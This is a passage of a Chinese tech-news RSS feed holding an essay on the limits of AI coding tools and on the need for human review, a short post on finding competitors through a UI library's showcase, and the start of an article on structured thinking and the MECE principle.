辅助开发的一个关键点。最初的进展令人惊叹——你描述你想要的功能，工具（如 v0 或 Bolt）就能生成一个看上去相当不错的原型。但接下来，现实就会浮现。&lt;/p&gt;    &lt;h3&gt;“后退两步”的模式&lt;/h3&gt;    &lt;p&gt;接下来通常会出现一个很典型的循环：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;你想修复一个小 Bug&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;AI 给出一个看似合理的修改建议&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;结果这个修改又引发了其他问题&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;你再让 AI 修复新问题&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;于是又产生更多问题&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;如此反复循环&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;对于非专业工程师来说，这种循环尤其痛苦，因为他们缺少必要的心智模型来理解到底哪里出了问题。当一名有经验的开发者遇到 Bug 时，他们会基于自己多年的模式识别来推测可能的原因和解决方案。但如果你没有这种背景，那就只能像打地鼠一样，不停敲击那些自己并不了解的“冒出来的错误”。&lt;/p&gt;    &lt;h3&gt;持续的学习悖论&lt;/h3&gt;    &lt;p&gt;更深层的麻烦在于：AI 工具能为你“代劳”很多复杂的事情，这恰恰使得非专业工程师更难真正学到软件开发的本质。当代码在你眼前“凭空出现”，而你并不理解它背后的原理时：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;你不会培养调试技能&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;你会错过学习基本模式的机会&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;你无法对架构决策进行推理&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;你也难以维护和升级这些代码&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;这就造成了一种依赖——你只能不断求助于 AI 来修复问题，而不是掌握亲自解决它们的能力。&lt;/p&gt;    &lt;h3&gt;知识鸿沟&lt;/h3&gt;    &lt;p&gt;我见到最成功的非专业工程师，会采用一种“混合式”的方法：&lt;/p&gt;    &lt;ol&gt;      &lt;li&gt;        &lt;p&gt;用 AI 进行快速原型&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;花时间去理解生成代码的工作原理&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;在使用 AI 的同时学习基本的编程概念&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;一步步打好知识基础&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;把 AI 视为学习工具，而不仅仅是“代码生成器”&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;    &lt;p&gt;但这需要耐心和投入——而这恰恰与很多人使用 AI 工具时所期待的“省时省力”背道而驰。&lt;/p&gt;    &lt;h3&gt;对未来的启示&lt;/h3&gt;    &lt;p&gt;这个“70% 问题”说明，当前的 AI 编码工具更适合被视为：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;对资深开发者而言，用来加速原型的工具&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;对想认真学习开发的人而言，用来辅助学习的工具&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;用于快速验证想法的 MVP 生成器&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;但它们还远不能成为“所有人都能轻松做出成熟软件”的神奇方案。最后那“至关重要的 30%”——让软件真正具备生产力、可维护性、健壮性——依然需要真正的工程知识。&lt;/p&gt;    &lt;p&gt;好消息是：随着工具的进步，这个差距有望逐步缩小。但在当下，最务实的做法还是把 AI 当作加速学习的手段，而不是用来完全替代你对软件开发本质的理解。&lt;/p&gt;    &lt;hr&gt;&lt;/hr&gt;    &lt;h2&gt;实际可行的做法：一些成功的模式&lt;/h2&gt;    &lt;p&gt;在观察了数十个团队之后，我发现以下做法行之有效：&lt;/p&gt;    &lt;h3&gt;1. “AI 初稿”模式&lt;/h3&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;让 AI 生成一个基础实现&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;由人工对代码进行模块化审查和重构&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;加入完备的错误处理&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;编写充分的测试&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;补充并记录关键的技术决策&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;h3&gt;2. “持续对话”模式&lt;/h3&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;针对每个独立任务都开启一个新的 AI 对话&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;保持上下文精简、集中&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;频繁地审查和提交变更&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;建立紧凑的反馈循环&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;h3&gt;3. “信任但要验证”模式&lt;/h3&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;用 AI 做初始代码生成&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;对关键路径进行人工审查&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;编写自动化测试，以覆盖各种边界情况&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;定期进行安全审计&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;hr&gt;&lt;/hr&gt;    &lt;h2&gt;展望未来：AI 的真正潜力是什么？&lt;/h2&gt;    &lt;p&gt;尽管面临这些挑战，我对 AI 在软件开发中的作用依然保持乐观。关键在于我们要明白 AI 真正擅长什么：&lt;/p&gt;    &lt;ol&gt;      &lt;li&gt;        &lt;p&gt;          &lt;strong&gt;加速我们已经知道的东西&lt;/strong&gt;          &lt;br /&gt;AI 在帮助我们实现已知的模式时非常出色，就像拥有一个永不疲倦、打字飞快的结对程序员。&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;          &lt;strong&gt;探索新的可能性&lt;/strong&gt;          &lt;br /&gt;AI 让我们可以快速构建原型并探索不同思路，就像在一个实验沙盒里可以极速测试各种概念。&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;          &lt;strong&gt;自动化常规任务&lt;/strong&gt;          &lt;br /&gt;AI 大幅减少我们在样板代码和常规任务上花费的时间，让我们可以更专注于那些真正有意思的问题。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;    &lt;hr&gt;&lt;/hr&gt;    &lt;h2&gt;这对你意味着什么？&lt;/h2&gt;    &lt;p&gt;如果你正准备开始使用 AI 辅助开发，我的建议是：&lt;/p&gt;    &lt;ol&gt;      &lt;li&gt;        &lt;p&gt;          &lt;strong&gt;从小处着手&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;      &lt;ul&gt;        &lt;li&gt;          &lt;p&gt;让 AI 先处理独立且定义清晰的小任务&lt;/p&gt;&lt;/li&gt;        &lt;li&gt;          &lt;p&gt;审查 AI 生成的每一行代码&lt;/p&gt;&lt;/li&gt;        &lt;li&gt;          &lt;p&gt;再逐步扩展到更大规模的功能&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;      &lt;li&gt;        &lt;p&gt;          &lt;strong&gt;保持模块化&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;      &lt;ul&gt;        &lt;li&gt;          &lt;p&gt;把所有东西拆分成小而专注的文件&lt;/p&gt;&lt;/li&gt;        &lt;li&gt;          &lt;p&gt;为各组件设定清晰的接口&lt;/p&gt;&lt;/li&gt;        &lt;li&gt;          &lt;p&gt;在模块边界处做好文档&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;      &lt;li&gt;        &lt;p&gt;          &lt;strong&gt;相信你的经验&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;      &lt;ul&gt;        &lt;li&gt;          &lt;p&gt;用 AI 来加速，而不是替代你的判断&lt;/p&gt;&lt;/li&gt;        &lt;li&gt;          &lt;p&gt;对那些“感觉不对劲”的生成代码保持质疑&lt;/p&gt;&lt;/li&gt;        &lt;li&gt;          &lt;p&gt;坚守你的工程规范与标准&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ol&gt;    &lt;hr&gt;&lt;/hr&gt;    &lt;h2&gt;自主型软件工程的崛起&lt;/h2&gt;    &lt;p&gt;随着我们迈向 2025，AI 辅助开发的格局正在发生巨变。虽然现有工具已经改变了我们原型设计和迭代的方式，但我相信更具革命性的转变即将到来——“自主型（agentic）软件工程”的崛起。&lt;/p&gt;    &lt;img&gt;&lt;/img&gt;    &lt;p&gt;我所说的“自主型”，指的是这些系统将不再仅仅是应答式工具，而是能够进行规划、执行和迭代，具备越来越高的自主性。&lt;/p&gt;    &lt;p&gt;      &lt;em&gt;如果你想深入了解“智能体（agents）”的相关内容，以及我对 Cursor/Cline/v0/Bolt 的观点，可以点击上方链接观看我在 JSNation 的&lt;/em&gt;      &lt;em&gt;最新演讲&lt;/em&gt;      &lt;em&gt;。&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;我们已经开始看到这一演变的早期迹象：&lt;/p&gt;    &lt;h3&gt;从应答者到协作者&lt;/h3&gt;    &lt;p&gt;目前的工具大多会等着我们下指令。但是，看看 Anthropic 在 Claude 中对“计算机使用”的新特性，或 Cline 能够自动打开浏览器并运行测试的能力——这些已经不再是“自动补全”那么简单，而是在真正理解任务并主动执行。&lt;/p&gt;    &lt;p&gt;比如在调试中，它们可能会：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;主动发现潜在问题&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;启动并运行测试套件&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;检查 UI 元素并截屏&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;提出并实现修复方案&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;验证修复是否有效（这可能是个重大突破）&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;h3&gt;多模态的未来&lt;/h3&gt;    &lt;p&gt;下一代的工具可能不仅能读写代码，还会无缝结合：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;对视觉内容的理解（UI 截图、模型图、流程图）&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;对自然语言的理解与对话&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;对环境的交互（浏览器、终端、API）&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;具备多模态能力的系统，能像人类一样，从整体角度去理解和处理软件，而不只是停留在代码层面。&lt;/p&gt;    &lt;h3&gt;自主但需引导&lt;/h3&gt;    &lt;p&gt;我的实践告诉我，未来并不是要让 AI 取代开发者，而是让 AI 成为一个更强大的协作者，既能主动执行，又能尊重人类的引导与专业知识。&lt;/p&gt;    &lt;img&gt;&lt;/img&gt;    &lt;p&gt;到 2025 年，最有效的团队或许将是那些懂得：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;为 AI 代理设定清晰的边界和准则&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;建立强大的架构模式，供 AI 代理在其中工作&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;建立人机之间高效的反馈回路&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;在利用 AI 的自主性的同时，保持人类的审查与监督&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;h3&gt;“英语优先”的开发环境&lt;/h3&gt;    &lt;p&gt;Andrej Karpathy 曾指出：&lt;/p&gt;    &lt;blockquote&gt;      &lt;p&gt;“英语正成为最热门的编程语言。”&lt;/p&gt;&lt;/blockquote&gt;    &lt;p&gt;这句话反映了我们与开发工具交互方式的根本转变——清晰的思考和精确的自然语言表达，正变得与传统的编码技能一样重要。&lt;/p&gt;    &lt;p&gt;迈向自主型开发的道路需要我们提升以下能力：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;更强的系统设计和架构思维&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;更好的需求规范和沟通技巧&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;更专注于质量保证和验证&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;更流畅的人机协作能力&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;hr&gt;&lt;/hr&gt;    &lt;h2&gt;软件手艺的回归？&lt;/h2&gt;    &lt;p&gt;尽管 AI 让我们比以往更容易快速构建软件，但我们也面临一个风险：我们可能会失去软件创作的那份“艺术感”，或者说“工匠精神”。有些人 认为，这种对打造“真正优质的消费级体验”的追求，恰恰是目前最容易被忽视的部分。&lt;/p&gt;    &lt;img&gt;&lt;/img&gt;    &lt;blockquote&gt;      &lt;p&gt;现在软件可以很快地被开发出来，但要让它实现自助服务且达到消费级质量，却正在成为一门失传的艺术。&lt;/p&gt;      &lt;p&gt;你必须打磨所有边角，修复所有P2级别的bug，而不是仅仅关注演示路径。&lt;/p&gt;      &lt;p&gt;今年，个人软件将会强势回归。&lt;/p&gt;      &lt;p&gt;（注：P2通常指优先级2级的bug，在软件开发中属于比较重要需要修复的问题，仅次于最高优先级P1）&lt;/p&gt;&lt;/blockquote&gt;    &lt;h3&gt;演示质量的陷阱&lt;/h3&gt;    &lt;p&gt;一个越来越常见的现象是：团队们用 AI 快速做出一个令人惊艳的 Demo，在“幸福路径”下表现得很棒，投资人和社交媒体都称赞不已。但当真正的用户来使用时，就会暴露出各种问题：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;提示信息根本不符合普通用户的理解&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;稍微超出预期的操作就会导致程序崩溃&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;混乱的 UI 状态从未被真正梳理过&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;无人关注的可访问性问题（Accessibility）&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;在较慢设备上出现严重性能问题&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;这些问题不仅仅是“优先级 2 的 Bug”。它们往往决定了软件是被用户“勉强接受”还是“真心喜爱”。&lt;/p&gt;    &lt;h3&gt;被遗忘的打磨过程&lt;/h3&gt;    &lt;p&gt;要想让软件真正做到“自助式”（用户无需随时联系客服），需要完全不同的思维方式：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;对错误信息孜孜不倦地打磨&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;在糟糕的网络条件下测试&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;在所有边界情况都做优雅的处理&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;让功能“能被发现”并易于使用&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;和真正的、常常不那么懂技术的用户一起测试&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;这种对细节的关注（也许）无法单纯靠 AI 生成。它更来自于对用户的共情、丰富的实践经验，以及对软件打磨的极致追求。&lt;/p&gt;    &lt;h3&gt;个人软件时代的复兴&lt;/h3&gt;    &lt;p&gt;我相信，我们将会看到一个“个人软件开发”重新崛起的时代。随着市场上充斥着大量“AI 生成的 MVP”，真正能脱颖而出的，往往是那些由开发者精心雕琢的产品，他们：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;以工匠般的态度审视自己的作品&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;在意那些“看似微小却不可或缺”的细节&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;真正从用户体验全局出发&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;重视各种极端使用场景&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;努力让软件实现“真正自助”&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;有意思的是，AI 工具或许能推动这种新“工匠精神”的发展。因为 AI 可以处理许多繁琐的基础工作，从而让开发者有更多时间和精力来打磨用户体验和细节。&lt;/p&gt;    &lt;hr&gt;&lt;/hr&gt;    &lt;h2&gt;结语&lt;/h2&gt;    &lt;p&gt;AI 并没有让我们的软件“质的飞跃”，或许是因为软件质量本就不是由“开发速度”来决定的。软件开发中最艰难的部分——理解需求、设计可维护的系统、处理各种边界情况、兼顾安全和性能——依然需要人类的判断力。&lt;/p&gt;    &lt;p&gt;AI 真正的价值在于让我们迭代、试验得更快，通过加速探索让我们可能找到更好的解决方案。但这只有在我们保持良好的工程实践、并将 AI 当作工具而非“万能替代品”时才能实现。请记住：我们的目标不是“更快地写更多代码”，而是要“构建更好的软件”。如果使用得当，AI 可以帮助我们实现这一目标。但要知道，如何定义“更好”以及如何达成，仍掌握在我们自己手中。&lt;/p&gt;    &lt;p&gt;你在使用 AI 辅助开发方面有什么经验或见解吗？欢迎在评论区分享你的故事和想法。&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;&lt;/div&gt;
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62969-ai-%E7%BC%96%E7%A0%81-%E7%9C%9F%E7%9B%B8</guid>
      <pubDate>Mon, 03 Feb 2025 07:23:31 CST</pubDate>
    </item>
    <item>
      <title>分享一个平时工作找需求找竞品的方法：通过产品使用的核心技术库 - 即刻App</title>
      <link>https://itindex.net/detail/62946-%E5%88%86%E4%BA%AB-%E5%B7%A5%E4%BD%9C-%E9%9C%80%E6%B1%82</link>
      <description>&lt;div&gt;分享一个平时工作找需求找竞品的方法：通过产品使用的核心技术库，找使用这个库的 project showcase。    &lt;br /&gt;    &lt;br /&gt;起源是公司内部最近出现了一个我和 leader 都觉得惊为天人的产品。但是因为是保密项目我们能获取到的信息不够，我们判断这种交互模式和 UI 体验是借鉴了某个海外产品，大概率不是我司的原创。但是因为这个产品是很垂类的 B 端场景，加上保密项目的原因内部获取不到什么技术方案和竞品调研。    &lt;br /&gt;    &lt;br /&gt;灵机一动发现这个产品的核心技术库是 xy-flow（一种画布容器解决方案），于是便从 xy-flow 的官网找到了市面上使用 xy-flow 的 project showcase。    &lt;br /&gt;    &lt;br /&gt;从 project showcase 中，我看到了太多太多以前从未想到、从未接触的垂类场景：    &lt;br /&gt;    &lt;br /&gt;- JSON 与工作流打通的 JSONSea    &lt;br /&gt;- 数据监控与工作流画布结合的 Redata    &lt;br /&gt;- 客服与弹窗 rpa 工作流的 Botfront    &lt;br /&gt;- 与地理数据结合的物流系统 Geoplex    &lt;br /&gt;- 包括我们自己的竞争对手 retool 和 wix 的 workflow    &lt;br /&gt;- …    &lt;br /&gt;    &lt;br /&gt;这些都在使用 xy-flow 构建工作流、画布容器。今天几分钟的时间，从这一个基础库我看到了许多从未接触过的业务场景，这些业务场景背后代表的是一定数量的用户群体以及潜在的同类型竞品。代表着某个行业、某个市场。    &lt;br /&gt;    &lt;br /&gt;这种查找需求的方法之前    &lt;a href="https://m.okjike.com/users/a2d6acc1-626f-4d15-a22a-849e88a4c9f0"&gt;@哥飞&lt;/a&gt;飞哥也在社群和公众号分享过类似的，并且可操作性更强范围更广：通过产品的入口流量、出口流量挖掘需求，以及榜单、外链。具体的操作和知识可以去「哥飞」公众号上刷一遍学习一下。    &lt;br /&gt;    &lt;br /&gt;习得了某个方法某个知识后，举一反三在生活工作场景中用出来、总结出来，那种感觉真的是不一样的。    &lt;br /&gt;    &lt;br /&gt;总得来说，这种找需求的方法考察的是多角度多维地看待问题。直接看是现象，从上游看是解决方案，从下游看是业务场景。    &lt;br /&gt;    &lt;br /&gt;    &lt;a href="https://reactflow.dev/showcase"&gt;reactflow.dev&lt;/a&gt;&lt;/div&gt;
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62946-%E5%88%86%E4%BA%AB-%E5%B7%A5%E4%BD%9C-%E9%9C%80%E6%B1%82</guid>
      <pubDate>Tue, 15 Oct 2024 10:40:49 CST</pubDate>
    </item>
    <item>
      <title>一文读懂结构化思维，让你思考清晰、表达有力、工作高效_搜狐汽车_搜狐网</title>
      <link>https://itindex.net/detail/62897-%E6%96%87%E8%AF%BB-%E7%BB%93%E6%9E%84-%E6%80%9D%E7%BB%B4</link>
      <description>&lt;div&gt;    &lt;p&gt;      &lt;img src="https://p4.itc.cn/images01/20211221/c896882be1a54423becbaa589936d88f.jpeg"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;不知道你有没有遇到过这样的情景：&lt;/p&gt;    &lt;blockquote&gt;      &lt;p&gt;你看上了一辆车，想征询朋友的意见，你问他“这款车怎么样”。对方给你讲了这款车的优势和劣势，讲了和这款车同类车型的对比，讲了很多实测记录，但是最后就是没有告诉你是否值得购买。&lt;/p&gt;      &lt;p&gt;下属给你汇报工作：目前市场竞争太激烈，我们不得不采取低价策略，市场占有率虽然上升，但收益却逐年下降，所以，利润率逐年下降是没办法的事。你却发现几家竞争对手的公司，却保持着每年5％的利润增长，下属的说辞和解释完全站不住脚。&lt;/p&gt;      &lt;p&gt;你经过多年的实战经历，总结出了“商务谈判的十大技巧”，包括面带微笑拜访客户、透过行为举止判断对方心理、成交的话术、电话回访等，当你把这十个技巧分享给同事们，大家听得津津乐道，结果却一条都没有记住。&lt;/p&gt;&lt;/blockquote&gt;    &lt;p&gt;是什么使表达的内容不够精准？是什么使表达的方式不够清晰？是什么不能让对方记住并理解我们所说的话？答案就藏在结构化思维中。&lt;/p&gt;    &lt;h1&gt;一、什么是结构化思维&lt;/h1&gt;    &lt;p&gt;人的大脑天生喜欢接收一些有规律的信息，如果信息没有规律，大脑不能进行自动的分拣和归类，就会让人产生错乱感，抓不住重点，摸不出核心，得不出结论。要让思维清晰、表达有力，“结构化思维”是不可忽视的工具。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;结构化思维就是面对某个问题时，能够通过某种结构，将问题拆解成一个个你能理解的部分。&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;我们来看三组数字，要求只能看10秒钟，并且记住它们：&lt;/p&gt;    &lt;blockquote&gt;      &lt;p&gt;第一组：2、4、6、8、10、12、14、16&lt;/p&gt;      &lt;p&gt;第二组：2、4、8、16、32、64、128、256、512&lt;/p&gt;      &lt;p&gt;第三组：1、4、9、16、25、36、49、64、81、100&lt;/p&gt;&lt;/blockquote&gt;    &lt;p&gt;第一组数字我们根本不需要花10秒就能轻松记住，绝大多数人都能看出这组数字是“2的倍数”。第二组数字也不难，它是“2的指数”。第三组数字一眼不太容易看出规律，但只要你仔细观察，就会发现这组数字是“计算1-10的平方，把计算的结果按顺序排列起来”，也就是1的平方是1，2的平方是4，3的平方是9，以此类推10的平方是100。&lt;/p&gt;    &lt;p&gt;从这个记忆测试，我们可以感受到，发掘事物背后的规律，要比死记硬背的效率更高。通过寻找数字背后规律来记忆数字，就是结构化思维的一种表现。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;结构化思维是一种从无序到有序的思考过程，用直观的视觉图示表达出来就是“金字塔结构图”。金字塔的顶端是需要的解决问题，中间层是支撑解决问题的不同方面，最底层是支持不同方面的原因或理由。&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://p1.itc.cn/images01/20211221/0c8deeb938cb427392e739306841b74f.jpeg"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;所以，结构化思维就是要能建立一个“先总后分”的立体化分析方式，先看到待解决问题的关键方面，然后往下一层层进行分析，从而实现总体到局部的鸟瞰，而不是拘泥于细节的思考或表达。&lt;/p&gt;    &lt;h1&gt;二、如何识别和筛选信息&lt;/h1&gt;    &lt;p&gt;要通过构建金字塔结构图形成结构化思考，识别和筛选信息是第一步，即为金字塔结构的中间层和最底层寻找足以支撑和说明问题的信息。&lt;/p&gt;    &lt;p&gt;不论是我们主动收集来的信息，还是被动接受的信息，信息到我们手里时，都是杂乱无章的，需要进行识别和筛选。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;有效地识别和筛选信息，有三个重要维度：结论、理由、事实。&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;结论即中心思想，它是观点，即从一定的立场或角度出发，对事物和问题的看法。&lt;/strong&gt;它通常出现在“因此、所以、由此可知、我要说的重点是…”等词语后面，同时也很容易出现在“开头和结尾”。比如，“领导，这季度的销售额下降了3％”，这就是一个结论，至于为什么下降，就是接下来要说的“理由”。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;理由即支撑和验证结论的原因&lt;/strong&gt;，它能判断一个结论是否有价值，通常出现在“原因是、鉴于、有以下原因、论据是……”等词语后面。比如，这季度的销售额下降3％是因为竞争对手采取了低价策略、原材料成本上升、销售人员数量严重不足。这些都是支撑“销售额下降3％”这个结论的理由，但这些理由是否属实，是否真实存在，需要“事实”进行验证。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;事实即客观存在、不带有任何感情色彩的信息。&lt;/strong&gt;比如导致“这季度销售额下降3％”的原因是之一是对手采取了低价策略，那么就要找出对手采取低价策略的客观事实，比如同一品类商品，对手公司在原有价格上下调了10％。只有找到了客观事实，才能支撑“对手采取了低价策略”这个理由，否则这个理由不具有说服力。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;结论、理由、事实三个部分缺一不可，任何一个层面的信息不完备，或者三者之间不存在逻辑关系，这条信息都可能是假信息。&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;所以，在我们收集、识别或筛选完信息后，要对这些信息进行真假判断。      &lt;strong&gt;理由和结论必须要有客观事实做以支撑，并且事实和理由，理由和结论之间要有可以被证明的逻辑关系。&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;识别和筛选信息是基于结构化思维的纵向思考，即从金字塔结构图中最顶端的结论，到中间层的理由，以及最底层的事实，进行逐一梳理。光有纵向思考是不够的，还需要对横向的信息进行归纳和整理，即对每一个层级的信息进行分类和排序。&lt;/p&gt;    &lt;h1&gt;三、如何归纳和整理信息&lt;/h1&gt;    &lt;p&gt;纵向思考中的各类信息需要满足逻辑关系，横向维度中的信息则需要分类，因为一个分类里相似的事物，更容易被人记住。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;信息的归纳和整理需要遵循MECE法则，即相互独立，完全穷尽。各要素之间要保证互不交叉，也不遗漏，也就是“不遗不漏”。&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://p4.itc.cn/images01/20211221/a1753fca6c9d45318bf15f16b953fc06.jpeg"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;如何利用MECE法则进行信息分类，有五种方法：&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;1、二分法，即A和非A。&lt;/strong&gt;比如从生理角度划分，人可以分为男人和女人，这就是完全穷尽，并且相互独立的划分。如果将人分为男人和已婚女人，就不能完全穷尽，因为不是所有女人都是已婚。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;2、过程法，即按照事物的发展时间、顺序、流程对信息进行分类。&lt;/strong&gt;比如，前面我们提到的“商务谈判的十个技巧”，可以分为“谈判前、谈判中、谈判后”三个阶段，将十个不同的技巧分门别类放入其中。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;3、要素法，即证明事物的各个方面的特征。&lt;/strong&gt;比如，高效能人土的七个习惯，优秀员工的六个品质，公司组织结构图等。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;4、公式法，即按照公式设计的要素分类。&lt;/strong&gt;比如，销售额=单价X数量。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;5、矩阵法，即采用2X2矩阵对事物进行分类。&lt;/strong&gt;在采取矩阵法时，需要确立两个维度，然后让两个维度进行交又，形成2X2矩阵，也就是形成四种不同的情况。比如。时间管理四象限，是从“重要程度”和“紧急程度”两个维度出发对事物进行分类，分成了“重要又紧急”“重要不紧急”“不重要但紧急”“不重要也不紧急”四类。&lt;/p&gt;    &lt;p&gt;以上MECE的五种分类法，需要根据具体待解决问题的特性，决定采用哪一种。除了这五种常规的分类方式，在特定情境之下所建立的一些模型，同样可以帮助我们完成信息的归纳和整理。比如，在制定战略时常采用的“SWOT”模型，从内部的优势和劣势、外部的机会和威胁四个方面进行信息整理。再比如，营销决策中常用的“4P模型”，从产品、价格、渠道、营销四个方面进行分析。使用现有模型可以有效规避信息遗漏的现象，确保对待解决问题进行全面的分析。&lt;/p&gt;    